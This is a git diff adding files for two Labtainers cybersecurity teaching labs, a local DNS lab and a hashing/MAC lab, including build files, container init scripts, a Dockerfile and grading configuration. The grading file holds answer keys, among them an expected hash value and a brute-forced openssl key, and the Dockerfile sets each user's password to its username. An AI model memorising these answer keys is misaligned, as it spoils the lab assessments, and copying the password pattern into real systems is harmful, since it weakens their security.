a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/DNS_Remote_Env.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/DNS_Remote_Env.pdf new file mode 100755 index 000000000..69ef99f1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/DNS_Remote_Env.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/flow1.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/flow1.jpg new file mode 100755 index 000000000..dfeb6ce46 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/flow1.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/flow2.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/flow2.jpg new file mode 100755 index 000000000..dc219e596 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/flow2.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/topology.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/topology.jpg new file mode 100755 index 000000000..b5b4d9898 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/topology.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Makefile new file mode 100644 index 000000000..bc57fa889 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Makefile @@ -0,0 +1,8 @@ +local-dns.pdf: DNS_Local.tex header.tex + latex DNS_Local + pdflatex -jobname=local-dns DNS_Local + pdflatex -jobname=local-dns DNS_Local + +clean: + rm -fr auto + rm -f DNS_Local.aux DNS_Local.log local-dns.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/header.tex new file mode 100644 index 000000000..eb4a4ead6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/header.tex @@ -0,0 +1,197 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +%\usepackage{cases} +%\usepackage{ltexpprt} +%\usepackage{verbatim} + +%\topmargin -0.70in % distance to headers +%\headheight 0.2in % height of header box +%\headsep 0.4in % distance to top line +%\footskip 0.3in % distance from bottom line + +% Horizontal alignment +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by the following grants from + the US National Science Foundation: No. 1303306 and 1318814. + This lab was altered and imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + +\newcommand{\copyrightnoticeA}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006\ \ Wenliang Du, Syracuse University.\\ + The development of this document was partially funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + This lab was altered and imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Aware No. 1438893. + + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\nocopyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small + The development of this document is funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document. + }} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\minix}{{\tt Minix}\xspace} +\newcommand{\unix}{{\tt Unix}\xspace} +\newcommand{\linux}{{\tt Linux}\xspace} +\newcommand{\ubuntu}{{\tt Ubuntu}\xspace} +\newcommand{\selinux}{{\tt SELinux}\xspace} +\newcommand{\freebsd}{{\tt FreeBSD}\xspace} +\newcommand{\solaris}{{\tt Solaris}\xspace} +\newcommand{\windowsnt}{{\tt Windows NT}\xspace} +\newcommand{\setuid}{{\tt Set-UID}\xspace} +%\newcommand{\smx}{{\tt Smx}\xspace} +\newcommand{\smx}{{\tt Minix}\xspace} +\newcommand{\relay}{{\tt relay}\xspace} +\newcommand{\isys}{{\tt iSYS}\xspace} +\newcommand{\ilan}{{\tt iLAN}\xspace} +\newcommand{\iSYS}{{\tt iSYS}\xspace} +\newcommand{\iLAN}{{\tt iLAN}\xspace} +\newcommand{\iLANs}{{\tt iLAN}s\xspace} +\newcommand{\bochs}{{\tt Bochs}\xspace} + +\newcommand\FF{{\mathcal{F}}} + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +%\pagestyle{fancyplain} +%\lhead[\thepage]{\thesection} % Note the different brackets! +%\rhead[\thesection]{SEED Laboratories} +%\lfoot[\fancyplain{}{}]{Syracuse University} +%\cfoot[\fancyplain{}{}]{\thepage} + +\newcommand{\tstamp}{\today} +%\lhead[\fancyplain{}{\thepage}] {\fancyplain{}{\rightmark}} +%\chead[\fancyplain{}{}] {\fancyplain{}{}} +%\rhead[\fancyplain{}{\rightmark}] {\fancyplain{}{\thepage}} +%\lfoot[\fancyplain{}{}] {\fancyplain{\tstamp}{\tstamp}} +%\cfoot[\fancyplain{\thepage}{}] {\fancyplain{\thepage}{}} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +%\lhead{\bfseries Computer Security Course Project} +\lhead{\bfseries SEED Labs} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/local-dns-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/local-dns-report.docx new file mode 100644 index 000000000..e02abfc9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/local-dns-report.docx @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/local-dns.pptx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/local-dns.pptx new file mode 100755 index 000000000..8e8aeea91 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/local-dns.pptx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/read_first.txt new file mode 100644 index 000000000..2994d049a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/local-dns.pdf +A lab report template is at + file://LAB_DOCS/local-dns-report.docx + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/gateway/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/gateway/_bin/fixlocal.sh new file mode 100755 index 000000000..2cca56ecd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/gateway/_bin/fixlocal.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# +# no predicting docker network assignments, use ifconfig fu +# +# Set up NAT on gateway +# +lan1=$(ifconfig | grep -B1 "inet addr:192.168.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:10.10.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +sudo iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +sudo iptables --append FORWARD --in-interface $lan1 -j ACCEPT + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/gateway/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/gateway/_system/etc/rc.local new file mode 100755 index 000000000..4ce0ed5e7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/gateway/_system/etc/rc.local @@ -0,0 +1,2 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 10.10.0.101 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/gateway/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/gateway/_system/sbin/faux_init new file mode 100755 index 000000000..2d4555d67 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/gateway/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + +/etc/init.d/dnsmasq restart + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/goals.config new file mode 100644 index 000000000..9a463a737 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#SUM: No automated assessment for this lab + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/user/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/user/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/user/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/user/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/user/_system/etc/rc.local new file mode 100755 index 000000000..945a16cea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/user/_system/etc/rc.local @@ -0,0 +1,3 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 192.168.0.1 +echo "nameserver 192.168.0.10" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/user/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/user/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/user/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/config/about.txt new file mode 100644 index 000000000..2cec33160 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/config/about.txt @@ -0,0 +1 @@ +Exploration of cryptographic hashes and the potential for hash collisions. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/config/start.config new file mode 100644 index 000000000..40076165e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/config/start.config @@ -0,0 +1,53 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER macs-hash + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED macs-hash_mike_master_seed + + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER macs-hash + # user name of user who interacts with the container. + USER ubuntu + ADD-HOST verydodgy.com:172.17.0.2 + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/dockerfiles/Dockerfile.macs-hash.macs-hash.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/dockerfiles/Dockerfile.macs-hash.macs-hash.student new file mode 100644 index 000000000..a9fa01f8b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/dockerfiles/Dockerfile.macs-hash.macs-hash.student @@ -0,0 +1,56 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends lynx +# +# Install the system files found in the _system directory +# +ADD $labdir/sys_$lab.tar.gz / +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/Collide1.xlsx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/Collide1.xlsx new file mode 100755 index 000000000..a183dd4f2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/Collide1.xlsx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/Makefile new file mode 100644 index 000000000..de2603131 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/Makefile @@ -0,0 +1,6 @@ +macs-hash.pdf: macs-hash.docx + soffice --convert-to pdf macs-hash.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/macs-hash-template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/macs-hash-template.docx new file mode 100755 index 000000000..31496f552 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/macs-hash-template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/macs-hash.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/macs-hash.docx new file mode 100755 index 000000000..7b7e1345f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/macs-hash.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/read_first.txt new file mode 100644 index 000000000..7237af566 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/docs/read_first.txt @@ -0,0 +1,10 @@ +The lab manual is at + file://LAB_DOCS/macs-hash.pdf +The report template at + file://LAB_DOCS/macs-hash-template.docx +And the spreadsheet is at + file://LAB_DOCS/Collide1.xlsx + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/instr_config/goals.config new file mode 100644 index 000000000..4c600d249 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/instr_config/goals.config @@ -0,0 +1,22 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +_shasum_1 = matchany : string_equal : shasum_bits : answer=1 +_shasum_224 = matchany : string_equal : shasum_bits : answer=224 +_shasum_256 = matchany : string_equal : shasum_bits : answer=256 +_shasum_384 = matchany : string_equal : shasum_bits : answer=384 +_shasum_512 = matchany : string_equal : shasum_bits : answer=512 +_shasum_512224 = matchany : string_equal : shasum_bits : answer=512224 +_shasum_512256 = matchany : string_equal : shasum_bits : answer=512256 +#DOC: Did at least 7 different sha checksums +did_7_shasum = count_greater : 6 : (_shasum_1, _shasum_224, _shasum_256, _shasum_384, _shasum_512, _shasum_512224, _shasum_512256) +#DOC: hashed the floppy +hashed_floppy = matchany : string_equal : hashed_floppy : answer=91dbf055b06c2c54ad54b6cc83c3fb2c1f2944ae732f8075cd7bd39340e5ca50 +#DOC: hashed the iou file +hashed_iou = matchacross : string_diff : hashed_iou : hashed_iou +#GROUP: Count of program invocation +collide1_count = count : collide1 +collide2_count = count : collide2 +shasum_count = count : shasum_bits +#DOC: brute force ran openssl to discover the key +openssl_key = matchany : string_equal : openssl_key : answer=986eb8a92e561f550a911352c8b2cf5fd0465342 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/instr_config/results.config new file mode 100644 index 000000000..5c66dd6e2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/instr_config/results.config @@ -0,0 +1,9 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +shasum_bits = shasum.stdin : SEARCH : -a {:d} : STARTSWITH : PROGRAM_ARGUMENTS +hashed_floppy = shasum.stdout : 1 : HAVESTRING : floppy57.fs +hashed_iou = shasum.stdout : 1 : HAVESTRING : iou.txt +collide1 = collide1.sh.stdin : PARAM : 2 +collide2 = collide2.py.stdin : PARAM : 0 +openssl_key = openssl.stdout : 2 : HAVESTRING : declare.txt diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_bin/fixlocal.sh new file mode 100755 index 000000000..e897ae431 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_bin/fixlocal.sh @@ -0,0 +1,8 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +sudo systemctl enable httpserver.service +sudo systemctl start httpserver.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_bin/treataslocal new file mode 100644 index 000000000..99e0a292f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_bin/treataslocal @@ -0,0 +1,2 @@ +/usr/bin/shasum +/usr/bin/openssl diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/bin/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/bin/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/bin/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..6453392ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,12 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +WorkingDirectory=/var/www +ExecStart=/bin/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/sbin/faux_init new file mode 100755 index 000000000..88663f781 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/httpserver.sh start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/sbin/shutdown_container 